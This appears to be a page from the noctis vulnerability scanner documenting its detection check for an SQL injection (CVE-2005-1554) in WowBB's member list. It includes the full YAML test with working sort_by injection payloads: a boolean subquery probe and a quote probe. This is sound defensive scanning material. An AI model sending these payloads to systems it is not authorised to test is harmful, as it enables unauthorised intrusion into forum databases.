WowBB — 1 vulnerability check

noctis ships 1 vulnerability check for WowBB, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WowBB view_user.php sort_by SQL Injection

CVECVE-2005-1554
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wowbb/CVE-2005-1554.yaml

WowBB 1.6, 1.61 and 1.62 put the `sort_by` parameter of view_user.php (the member list) unfiltered into the ORDER BY clause of an SQL query, allowing unauthenticated SQL injection that can expose the administrator's user name and password hash.

This check first loads view_user.php?list=1 and confirms it is a WowBB member list without any SQL error. It then proves the injection with three requests whose sort_by value is a condition on the sum of two random numbers: a wrong sum must make WowBB print its "Invalid SQL query" error, the right sum must not, which shows the database evaluated the injected expression. When that boolean test cannot run (for example on databases without subqueries), a single quote in sort_by that triggers the "Invalid SQL query: SELECT" error page is reported with lower confidence. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wdir}}/view_user.php?list=1&letter=
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{wdir}}/view_user.php?list=1&letter=&sort_by=IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,…
  5. HTTP(S) request GET {{wdir}}/view_user.php?list=1&letter=&sort_by=IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(…
  6. HTTP(S) request GET {{wdir}}/view_user.php?list=1&letter=&sort_by=IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,…
  7. Parses / computes the next value with a Rhai script
  8. Checks bp.found for ^BOOL$ → finding QoD 97: Boolean SQLi confirmed on …/view_user.php: sort_by=IF(…+…=S,1,(SELECT 1 UNION SELECT 2)) made WowBB print an SQL error for S=… and S=… but …
  9. HTTP(S) request GET {{wdir}}/view_user.php?list=1&letter=&sort_by=%27select
  10. HTTP(S) request GET {{wdir}}/view_user.php?list=1&letter=&sort_by=1
  11. Parses / computes the next value with a Rhai script
  12. Checks qm.found for ^QUOTE$ → finding QoD 75: SQL injection: sort_by='select on …/view_user.php made WowBB print its Invalid SQL query error, while the default member list and sort_by=1…

References:

Feed source — tests/vulnerabilities/wowbb/CVE-2005-1554.yaml
# WowBB 1.6 / 1.61 / 1.62 — view_user.php `sort_by` SQL injection (CVE-2005-1554)
#
# view_user.php?list=1 lists the forum members and puts the `sort_by` GET
# parameter, unfiltered, into the ORDER BY clause of the member-list query
# (Bugtraq 2005-05-10, "WowBB view_user.php SQL Injection Vulnerability",
# BID 13569: view_user.php?list=1&letter=&sort_by='[SQL Injection]). On a
# failed query WowBB prints its "Invalid SQL query: SELECT ..." error page,
# which keeps the forum footer (TITLE="WowBB Forum Software ...").
#
# No WowBB source is public any more (wowbb.com is gone); the request shape
# and the error page come from the advisory and the reference check below.
#
# Detection (per candidate install dir):
#   0. Control — view_user.php?list=1&letter= (no sort_by, the default sort)
#      must answer 200 with the WowBB footer and no SQL error: a page that
#      always prints an SQL error never reports.
#   1. QoD 97 — boolean proof computed by the database:
#      sort_by=IF(A+B=S,1,(SELECT 1 UNION SELECT 2)) sent three times
#      (S wrong, right, wrong; random 6-digit A/B). A wrong sum picks the
#      two-row subquery and the query fails ("Subquery returns more than 1
#      row"); the right sum is a valid constant sort key. Measured on MariaDB
#      10.11 and MySQL 8.0: the ORDER BY subquery is evaluated even when no
#      member row matches (unless the optimizer proves the WHERE empty, e.g.
#      an impossible condition — then nothing errors and nothing is reported).
#      Quote-free (magic_quotes safe). Error / no error / error proves the
#      database evaluated our arithmetic.
#   2. QoD 75 — the reference check: sort_by='select makes the page print
#      "Invalid SQL query: SELECT" (or the MySQL syntax error), while the
#      control above did not and sort_by=1 (order by column position, valid
#      on every MySQL) did not either — a page that errors on any sort_by
#      value stays clean. Covers MySQL < 4.1 (no subqueries).
#
# Better than the reference check: it also needs the control to stay clean
# (an always-erroring page no longer reports), proves the injection with a
# database-computed boolean instead of a lone quote error, looks under /wowbb
# (the advisory's path) and the web root besides /forum, /forums, /board,
# and does not require the exact TITLE="WowBB Forum Software attribute on the
# error page (any WowBB footer on the control page).
#
# Read-only: SELECT only, nothing is written and no data is extracted.
#
# Credit: request and markers adapted from Greenbone's
#   pre2008/wowBB_sql_injection.nasl (OID 1.3.6.1.4.1.25623.1.0.18221,
#   GPL-2.0-only).
uid: 394c4e88-62be-4c5f-ba65-d1367335420c
name: "WowBB view_user.php sort_by SQL Injection (CVE-2005-1554)"
description: |
  WowBB 1.6, 1.61 and 1.62 put the `sort_by` parameter of view_user.php
  (the member list) unfiltered into the ORDER BY clause of an SQL query,
  allowing unauthenticated SQL injection that can expose the administrator's
  user name and password hash.

  This check first loads view_user.php?list=1 and confirms it is a WowBB
  member list without any SQL error. It then proves the injection with three
  requests whose sort_by value is a condition on the sum of two random
  numbers: a wrong sum must make WowBB print its "Invalid SQL query" error,
  the right sum must not, which shows the database evaluated the injected
  expression. When that boolean test cannot run (for example on databases
  without subqueries), a single quote in sort_by that triggers the
  "Invalid SQL query: SELECT" error page is reported with lower confidence.
  Nothing is written and no data is read from the database.
cves: [CVE-2005-1554]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [wowbb, forum, php, sqli, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1554"
  - "https://marc.info/?l=bugtraq&m=111575905112831&w=2"
  - "https://www.securityfocus.com/bid/13569"

steps:
  # ── Random operands ───────────────────────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
    store_as: sc

  # ── Per candidate install dir (loop group) ────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wowbb", "/forum", "/forums", "/board"]
      var: wdir

  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  - id: init-pos-resp
    action: set_var
    var_name: pos_resp
    var_value: {status: 0, body: null}

  # ── Stage 0: control — the default member list, no SQL error ──────────────
  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wdir}}/view_user.php?list=1&letter="
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: check-ctl
    action: script
    code: |
      let re = "Invalid SQL query|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let body = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let ok = ctl_resp.status == 200 && ereg("WowBB Forum Software|(?i)powered by[^<]*<[^>]*>\\s*WowBB|>WowBB [0-9]", body) && !ereg(re, body);
      #{ ok: ok }
    store_as: ctl

  # ── Stage 1: boolean proof — the database must compute A+B ────────────────
  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wdir}}/view_user.php?list=1&letter=&sort_by=IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "ctl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wdir}}/view_user.php?list=1&letter=&sort_by=IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "ctl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wdir}}/view_user.php?list=1&letter=&sort_by=IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "ctl.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let re = "Invalid SQL query|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = ctl.ok && t_resp.status == 200 && ereg("WowBB Forum Software|(?i)powered by[^<]*<[^>]*>\\s*WowBB|>WowBB [0-9]", bt)
        && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{wdir}}/view_user.php: sort_by=IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) made WowBB print an SQL error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  # ── Stage 2: fallback — the quote breaks the query ────────────────────────
  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wdir}}/view_user.php?list=1&letter=&sort_by=%27select"
    condition: "ctl.ok && !bp.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  # Second control: a valid sort_by value (column position) must not error.
  - id: pos-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wdir}}/view_user.php?list=1&letter=&sort_by=1"
    condition: "ctl.ok && !bp.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: pos_resp

  - id: check-qm
    action: script
    code: |
      let re = "Invalid SQL query|You have an error in your SQL syntax|Subquery returns more than 1 row";
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let pbody = if type_of(pos_resp.body) == "string" { pos_resp.body } else { "" };
      let hit = ctl.ok && pos_resp.status == 200 && !ereg(re, pbody)
        && ereg("Invalid SQL query: *SELECT|You have an error in your SQL syntax", body);
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: sort_by='select on {{wdir}}/view_user.php made WowBB print its Invalid SQL query error, while the default member list and sort_by=1 did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}} / {{pos_resp.status}})"
      stop: true

View these feeds on GitHub